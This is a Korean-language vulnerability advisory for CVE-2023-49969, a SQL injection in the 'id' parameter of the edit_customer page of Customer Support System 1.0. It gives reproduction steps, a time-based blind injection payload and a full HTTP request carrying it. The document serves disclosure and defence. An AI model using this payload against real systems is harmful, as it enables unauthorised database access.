
고객 지원 시스템 1.0 - "id" URL 매개변수를 통한 edit_customer의 SQL 인젝션 취약점
설명: Customer Support System 버전 1에 SQL 인젝션 취약점이 존재합니다. 악의적인 공격자는 고객 편집 시 'id' URL 매개변수를 조작하여 MySQL 데이터베이스에 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcântara
날짜: 28/11/2023
확인 날짜: 19/12/2023
CVE: CVE-2023-49969
테스트 환경: Windows
1- 애플리케이션에 로그인합니다.
2- customer_list 페이지로 이동하여 "Action" 버튼을 클릭하고 "Edit"를 선택합니다.
3- 'id' 매개변수가 전달되며, 악성 페이로드 삽입이 가능해집니다.
페이로드: (select*from(select(sleep(5)))a)
GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
Upgrade-Insecure-Requests: 1
발견자/크레딧:
Geraldo Alcântara